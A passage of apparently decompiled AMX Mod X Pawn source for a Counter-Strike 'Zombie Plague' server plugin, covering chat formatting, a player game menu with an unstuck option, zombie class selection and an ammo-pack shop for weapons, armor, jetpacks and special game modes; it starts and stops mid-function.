PrintToChatEx(false, iPlayer, "^x01*ALIVE*^x04 %s^x03 %s^x01 : %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
}
}
else
{
if (get_user_team(iPlayer) == 3)
{
if (!g_cTag[iPlayer][0])
{
PrintToChatEx(true, g_iMaxClients + 1, "^x01*SPEC*^x03 %s^x01 : %s", g_cName[iPlayer], cMessage);
}
else
{
PrintToChatEx(true, g_iMaxClients + 1, "^x01*SPEC*^x04 %s^x03 %s^x01 : %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
}
}
else
{
if (!g_cTag[iPlayer][0])
{
PrintToChatEx(true, iPlayer, "^x01*DEAD*^x03 %s^x01 : %s", g_cName[iPlayer], cMessage);
}
else
{
PrintToChatEx(true, iPlayer, "^x01*DEAD*^x04 %s^x03 %s^x01 : %s", g_cTag[iPlayer], g_cName[iPlayer], cMessage);
}
}
}
return 0;
}
PrintToChatEx(bool:bAlive, iPlayer, cMessage[], any:...)
{
static i;
static cBuffer[192];
vformat(cBuffer, 191, cMessage, 4);
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bConnected[i] && !g_bFake[i] && !is_user_hltv(i) && g_bAlive[i] == bAlive)
{
send_say_text(i, iPlayer, cBuffer);
}
i += 1;
}
return 0;
}
public MessageHealth(iMessage, iDestination, iEntity)
{
static iHealth;
iHealth = get_msg_arg_int(1);
if (iHealth > 255)
{
if (!(iHealth % 256))
{
set_health(iEntity, get_health(iEntity) + 1);
}
set_msg_arg_int(1, get_msg_argtype(1), 255);
}
return 0;
}
public TaskReminder()
{
static cHealth[15];
static iHealth;
static i;
i = 1;
while (g_iMaxClients + 1 > i)
{
if (g_bAlive[i] && g_iPlayerType[i])
{
iHealth = get_health(i);
AddCommas(iHealth, cHealth, 14);
PrintToChat(0, "^x04[ZP]^x01 A ^x03Rapture^x01 Reminder ^x03@ ^x04%s^x01 still has %s ^x04health points!", g_cClass[i], cHealth);
}
i += 1;
}
return 0;
}
public TaskRemoveMadness(iPlayer)
{
if (g_bConnected[iPlayer])
{
g_bNoDamage[iPlayer] = false;
remove_glow(iPlayer);
set_take_damage(iPlayer, 2);
}
return 0;
}
public Task_EnableFlash(iPlayer)
{
g_bFlashEnabled[iPlayer] = true;
g_bFlash[iPlayer] = true;
remove_task(iPlayer + 350);
set_task(0.1, "TaskFlash", iPlayer + 350, "", 0, "b", 0);
return 0;
}
public _GameMenu(iPlayer, iMenu, iItem)
{
if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
{
static iChoice;
static iDummy;
static cBuffer[3];
menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
iChoice = str_to_num(cBuffer);
switch (iChoice)
{
case 0:
{
if (g_bAlive[iPlayer] && g_bCanBuy[iPlayer])
{
set_task(0.1, "TaskShowMenu", iPlayer, "", 0, "", 0);
PrintToChat(iPlayer, "^x04[ZP]^x01 Your buy menu has been enabled.");
}
}
case 1:
{
if (g_bAlive[iPlayer] && !g_iPlayerType[iPlayer])
{
static cNumber[3];
static cLine[128];
static i;
g_iMenuExtraItems = menu_create("Extra Items", "_ExtraItems");
i = 0;
while (i < 22)
{
if (g_iExtraItemsTeams[i] == 1 && !g_bZombie[iPlayer])
{
}
else
{
if (!(g_bZombie[iPlayer] && g_iExtraItemsTeams[i] == 2))
{
formatex(cLine, 128, "%s \y%d ammo packs", g_cExtraItems[i], g_iExtraItemsPrices[i]);
num_to_str(i, cNumber, 3);
menu_additem(g_iMenuExtraItems, cLine, cNumber, 0, -1);
}
}
i += 1;
}
menu_display(iPlayer, g_iMenuExtraItems);
}
else
{
PrintToChat(iPlayer, "^x04[ZP]^x01 Extra items are unavailable right now...");
}
}
case 2:
{
menu_display(iPlayer, g_iMenuZombieClasses);
}
case 3:
{
if (g_bAlive[iPlayer] && !is_hull_vacant(iPlayer))
{
static i;
static Float:fOrigin[3];
static Float:fVector[3];
static Float:fMins[3];
get_mins(iPlayer, fMins);
get_origin(iPlayer, fOrigin);
i = 0;
while (i < 70)
{
fVector[0] = floatsub(fOrigin[0], floatmul(fMins[0], g_fSizes[i][0]));
fVector[1] = floatsub(fOrigin[1], floatmul(fMins[1], g_fSizes[i][1]));
fVector[2] = floatsub(fOrigin[2], floatmul(fMins[2], g_fSizes[i][2]));
if (is_origin_vacant(fVector, iPlayer))
{
set_origin(iPlayer, fVector);
set_pev(iPlayer,pev_velocity,{0.0,0.0,0.0})
i = 70;
client_cmd(iPlayer, "spk fvox/blip.wav");
send_screen_fade(iPlayer, 200, 200, 0, random_num(100, 220));
}
i += 1;
}
PrintToChat(iPlayer, "^x04[ZP]^x01 You have been unstucked!");
}
else
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You are not stuck...");
}
}
case 4:
{
if (get_team(iPlayer) != 3)
{
if (g_bAlive[iPlayer])
{
CheckLastPlayer(iPlayer);
kill(iPlayer);
}
remove_task(iPlayer + 250);
remove_task(iPlayer + 200);
client_cmd(iPlayer, "chooseteam");
engclient_cmd(iPlayer, "jointeam", "6");
log_amx("^"%s^" joined spectators!", g_cName[iPlayer]);
PrintToChat(iPlayer, "^x04[ZP]^x01 You are now spectator!");
}
}
}
}
return 0;
}
public _ZombieClasses(iPlayer, iMenu, iItem)
{
if (iItem != -3 && !g_bFake[iPlayer] && g_bConnected[iPlayer])
{
static iChoice;
static iDummy;
static cBuffer[15];
menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
iChoice = str_to_num(cBuffer);
g_iZombieNextClass[iPlayer] = iChoice;
AddCommas(g_iZombieHealths[iChoice], cBuffer, 14);
PrintToChat(iPlayer, "^x04[ZP]^x01 Your zombie class after the next infection will be:^x04 %s", g_cZombieClasses[iChoice]);
PrintToChat(iPlayer, "^x04[ZP]^x01 Health:^x04 %s^x01 | Speed:^x04 %0.0f^x01 | Gravity:^x04 %0.0f^x01 | Knockback:^x04 %0.0f%s", cBuffer, g_fZombieSpeeds[iChoice], g_fZombieGravities[iChoice] * 100.0, g_fZombieKnockbacks[iChoice] * 100.0, "%");
}
return 0;
}
public _ExtraItems(iPlayer, iMenu, iItem)
{
if (g_bAlive[iPlayer] && iItem != -3 && !g_iPlayerType[iPlayer] && !g_bFake[iPlayer])
{
static bAlreadyBought[33];
static iSurvivors;
static iSnipers;
static iChoice;
static iDummy;
static cBuffer[3];
menu_item_getinfo(iMenu,iItem, iDummy, cBuffer, charsmax ( cBuffer ), _, _, iDummy );
iChoice = str_to_num(cBuffer);
switch (iChoice)
{
case 0:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (g_bFlash[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
return 0;
}
else
{
set_task(0.1, "Task_EnableFlash", iPlayer, "", 0, "", 0);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Nightvision Googles!");
}
}
case 1:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || GetZombies() == 1 || !GetHumans())
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You can't buy this item right now!");
return 0;
}
MakeHuman(iPlayer, false, false);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
}
case 2:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (g_bNoDamage[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
return 0;
}
else
{
g_bNoDamage[iPlayer] = true;
set_take_damage(iPlayer, 0);
sound(iPlayer, 2, "zombie_plague/zombie_madness.wav");
set_glow(iPlayer, 19, 150, 255, 0, 0);
set_task(5.0, "TaskRemoveMadness", iPlayer, "", 0, "", 0);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Zombie Madness!", g_cName[iPlayer]);
PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Zombie Madness", g_cName[iPlayer]);
}
}
case 3:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (g_iRoundType & 4 || g_iRoundType & 8 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512 || g_iRoundType & 1 || g_iRoundType & 2 || g_iRoundType & 32 || g_iRoundType & 64 || g_bRoundEnd || !GetHumans())
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You can't buy this item right now!");
return 0;
}
if (user_has_weapon(iPlayer, 4, -1))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
return 0;
}
else
{
give_weapon(iPlayer, "weapon_hegrenade");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Infection Grenade!");
}
}
case 4:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 4, -1))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
return 0;
}
else
{
give_weapon(iPlayer, "weapon_hegrenade");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an Explosion Nade!");
}
}
case 5:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 25, -1))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
return 0;
}
else
{
give_weapon(iPlayer, "weapon_flashbang");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Napalm Nade!");
}
}
case 6:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 9, -1))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
return 0;
}
else
{
give_weapon(iPlayer, "weapon_smokegrenade");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a Frost Nade!");
}
}
case 7:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 18, -1))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
}
else
{
DropWeapons(iPlayer, 1509749160);
give_weapon(iPlayer, "weapon_awp");
give_ammo(iPlayer, 18, 9999);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an AWP Sniper Rifle!");
}
}
case 8:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 20, -1))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
return 0;
}
else
{
DropWeapons(iPlayer, 1509749160);
give_weapon(iPlayer, "weapon_m249");
give_ammo(iPlayer, 20, 9999);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought an M249 Machine Gun!");
}
}
case 9:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 13, -1))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
}
else
{
DropWeapons(iPlayer, 1509749160);
give_weapon(iPlayer, "weapon_sg550");
give_ammo(iPlayer, 13, 9999);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a SG550 Auto Sniper!");
}
}
case 10:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (user_has_weapon(iPlayer, 24, -1))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
return 0;
}
else
{
DropWeapons(iPlayer, 1509749160);
give_weapon(iPlayer, "weapon_g3sg1");
give_ammo(iPlayer, 24, 9999);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought a G3SG1 Auto Sniper!");
}
}
case 11:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (get_user_jetpack(iPlayer))
{
user_drop_jetpack(iPlayer, 1);
}
set_user_jetpack(iPlayer, 1);
set_user_fuel(iPlayer, 250.0);
set_user_rocket_time(iPlayer, 0.0);
PrintToChat(iPlayer, "^x04[ZP]^x01 Press^x03 CTR+SPACE^x01 to fly!");
PrintToChat(iPlayer, "^x04[ZP]^x01 Press^x03 RIGHT CLICK^x01 to shoot!");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought a Jetpack!", g_cName[iPlayer]);
}
case 12:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (g_bUnlimitedClip[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
return 0;
}
else
{
g_bUnlimitedClip[iPlayer] = true;
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You bought Unlimited Clip!");
}
}
case 13:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (120 < get_armor(iPlayer))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
return 0;
}
else
{
set_armor(iPlayer, get_armor(iPlayer) + 100);
sound(iPlayer, 3, "zombie_plague/armor_equip.wav");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (100ap)");
}
}
case 14:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
if (120 < get_armor(iPlayer))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You already have one!");
return 0;
}
else
{
set_armor(iPlayer, get_armor(iPlayer) + 200);
sound(iPlayer, 3, "zombie_plague/armor_equip.wav");
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "You've been equiped with armor (200ap)");
}
}
case 15:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
g_iJumpsNum[iPlayer]++;
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(iPlayer, g_iEventsHudmessage, "Now you can do %d jumps in a row!", g_iJumpsNum[iPlayer] + 1);
}
case 16:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if ((g_iExtraItemsTeams[iChoice] == 1 && !g_bZombie[iPlayer]) || (g_bZombie[iPlayer] && g_iExtraItemsTeams[iChoice] == 2))
{
PrintToChat(iPlayer, "^x04[ZP]^x01 This item is not for your team!");
return 0;
}
g_cClass[iPlayer] = "Tryder";
g_bTryder[iPlayer] = true;
strip_user_weapons(iPlayer);
set_armor(iPlayer, 777);
set_health(iPlayer, 777);
give_weapon(iPlayer, "weapon_knife");
give_weapon(iPlayer, "weapon_deagle");
give_weapon(iPlayer, "weapon_xm1014");
give_weapon(iPlayer, "weapon_g3sg1");
give_weapon(iPlayer, "weapon_ak47");
give_weapon(iPlayer, "weapon_m4a1");
give_weapon(iPlayer, "weapon_hegrenade");
give_weapon(iPlayer, "weapon_flashbang");
give_weapon(iPlayer, "weapon_smokegrenade");
give_ammo(iPlayer, 26, 9999);
give_ammo(iPlayer, 5, 9999);
give_ammo(iPlayer, 24, 9999);
give_ammo(iPlayer, 28, 9999);
give_ammo(iPlayer, 22, 9999);
g_bUnlimitedClip[iPlayer] = true;
set_glow(iPlayer, 19, 13, 250, 10, 175);
sound(iPlayer, 3, "zombie_plague/armor_equip.wav");
ExecuteHamB(Ham_Item_PreFrame, iPlayer);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(190, 55, 115, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s is now a Tryder!", g_cName[iPlayer]);
PrintToChat(0, "^x04[ZP]^x03 %s^x01 is now a^x04 Tryder", g_cName[iPlayer]);
}
case 17:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
static cTime;
static iTime[3];
get_time("%H", iTime, 2);
cTime = str_to_num(iTime);
if (iSurvivors)
{
PrintToChat(iPlayer, "^x04[ZP]^x01 There already was a survivor this map!");
return 0;
}
else
{
if (bAlreadyBought[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
return 0;
}
if (get_gametime() - g_fRoundStartTime < 2.0)
{
PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
return 0;
}
if (cTime >= 22 || cTime <= 10)
{
PrintToChat(iPlayer, "^x04[ZP]^x03 Survivor ^x01it's unavailable between^x04 22:00^x01 and^x04 10:00");
return 0;
}
if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
{
g_bRoundStart = false;
bAlreadyBought[iPlayer] = 1;
iSurvivors += 1;
remove_task(550);
StartSurvivorMode(iPlayer);
remove_task(700);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Survivor !!!", g_cName[iPlayer]);
PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Survivor", g_cName[iPlayer]);
}
else
{
PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
return 0;
}
}
}
case 18:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
static cTime;
static iTime[3];
get_time("%H", iTime, 2);
cTime = str_to_num(iTime);
if (iSnipers)
{
PrintToChat(iPlayer, "^x04[ZP]^x01 There already was a sniper this map!");
return 0;
}
else
{
if (bAlreadyBought[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
return 0;
}
if (get_gametime() - g_fRoundStartTime < 2.0)
{
PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
return 0;
}
if (cTime >= 22 || cTime <= 10)
{
PrintToChat(iPlayer, "^x04[ZP]^x03 Sniper ^x01it's unavailable between^x04 22:00^x01 and^x04 10:00");
return 0;
}
if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
{
g_bRoundStart = false;
bAlreadyBought[iPlayer] = 1;
iSnipers += 1;
remove_task(550);
StartSniperMode(iPlayer);
remove_task(700);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Sniper !!!", g_cName[iPlayer]);
PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Sniper", g_cName[iPlayer]);
}
else
{
PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
return 0;
}
}
}
case 19:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if (bAlreadyBought[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
return 0;
}
else
{
if (get_gametime() - g_fRoundStartTime < 2.0)
{
PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
return 0;
}
if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
{
g_bRoundStart = false;
bAlreadyBought[iPlayer] = 1;
remove_task(550);
StartNemesisMode(iPlayer);
remove_task(700);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Nemesis !!!", g_cName[iPlayer]);
PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Nemesis", g_cName[iPlayer]);
}
else
{
PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
return 0;
}
}
}
case 20:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You dont have enough ammo packs.");
return 0;
}
if (bAlreadyBought[iPlayer])
{
PrintToChat(iPlayer, "^x04[ZP]^x01 You^x03 already bought^x01 a game mode this map!");
return 0;
}
else
{
if (get_gametime() - g_fRoundStartTime < 2.0)
{
PrintToChat(iPlayer, "^x04[ZP]^x01 Please wait at least^x04 two seconds^x01 after the round begining!");
return 0;
}
if (g_iRoundsCount > 2 && !g_iRounds[g_iRoundsCount] && !g_iRounds[g_iRoundsCount + -1] && g_bRoundStart)
{
g_bRoundStart = false;
bAlreadyBought[iPlayer] = 1;
remove_task(550);
StartAssassinMode(iPlayer);
remove_task(700);
g_iPacks[iPlayer] -= g_iExtraItemsPrices[iChoice];
set_hudmessage(205, 102, 29, -1.00, 0.70, 1, 0.00, 3.00, 2.00, 1.00, -1);
ShowSyncHudMsg(0, g_iEventsHudmessage, "%s bought Assassin!", g_cName[iPlayer]);
PrintToChat(0, "^x04[ZP]^x03 %s^x01 bought^x04 Assassin !!!", g_cName[iPlayer]);
}
else
{
PrintToChat(iPlayer, "^x04[ZP]^x01 Sorry but you can't buy right now...");
return 0;
}
}
}
case 21:
{
if (g_iExtraItemsPrices[iChoice] > g_iPacks[iPlayer])
{
